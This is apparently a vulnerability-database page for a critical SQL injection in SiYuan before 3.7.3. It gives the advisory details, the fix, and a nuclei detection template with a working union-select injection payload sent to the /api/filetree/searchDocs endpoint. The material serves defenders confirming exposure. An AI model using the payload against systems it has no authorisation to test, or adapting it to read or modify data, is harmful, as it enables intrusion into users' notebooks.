HexBrain

Browse / CVEs / CVE-2026-69085

CVE-2026-69085· b3log / siyuan· CWE-89

SiYuan <=3.7.2 - SQL Injection

criticalseverity
10CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it

SiYuan before v3.7.3 contains a SQL injection caused by direct concatenation of the keyword parameter in /api/filetree/searchDocs endpoint, letting attackers with publish RoleReader token or unauthenticated in publish mode read and modify database content.

Impact

Attackers can read and modify database content across all cleartext notebooks, potentially compromising data integrity and confidentiality.

Fix

Update to version 3.7.3 or later.

How to confirm it

Send: POST /api/notebook/lsNotebooks ; POST /api/filetree/searchDocs
Positive when: status 200 AND matches /"path":"[0-9]+\.[0-9]+\.[0-9]+"/

Run it with nuclei: nuclei -id CVE-2026-69085 -u <target>

The full check
id: CVE-2026-69085

info:
  name: SiYuan <=3.7.2 - SQL Injection
  author: str4k3r
  severity: critical
  description: |
    SiYuan before v3.7.3 contains a SQL injection caused by direct concatenation of the keyword parameter in /api/filetree/searchDocs endpoint, letting attackers with publish RoleReader token or unauthenticated in publish mode read and modify database content.
  impact: |
    Attackers can read and modify database content across all cleartext notebooks, potentially compromising data integrity and confidentiality.
  remediation: |
    Update to version 3.7.3 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-33jq-p8c2-q3q4
    - https://github.com/siyuan-note/siyuan/releases/tag/v3.7.3
    - https://hub.docker.com/r/b3log/siyuan/tags
    - https://nvd.nist.gov/vuln/detail/CVE-2026-69085
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 10
    cve-id: CVE-2026-69085
    epss-score: 0.0139
    epss-percentile: 0.72549
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: b3log
    product: siyuan
    shodan-query: http.favicon.hash:-1450125239
  tags: cve,cve2026,siyuan,sqli,sqlite,unauth

http:
  - raw:
      - |
        POST /api/notebook/lsNotebooks HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

      - |
        POST /api/filetree/searchDocs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"k":"poc%')/**/union/**/select/**/'poc','','poc','','{{box_id}}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"}

    extractors:
      - type: regex
        name: box_id
        part: body
        group: 1
        internal: true
        regex:
          - '"id":"([0-9]{14}-[a-z0-9]{7})"[^}]*"closed":false'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        part: body
        regex:
          - '"path":"[0-9]+\.[0-9]+\.[0-9]+"'

References

Use this check only on systems you are authorised to test. Where the data comes from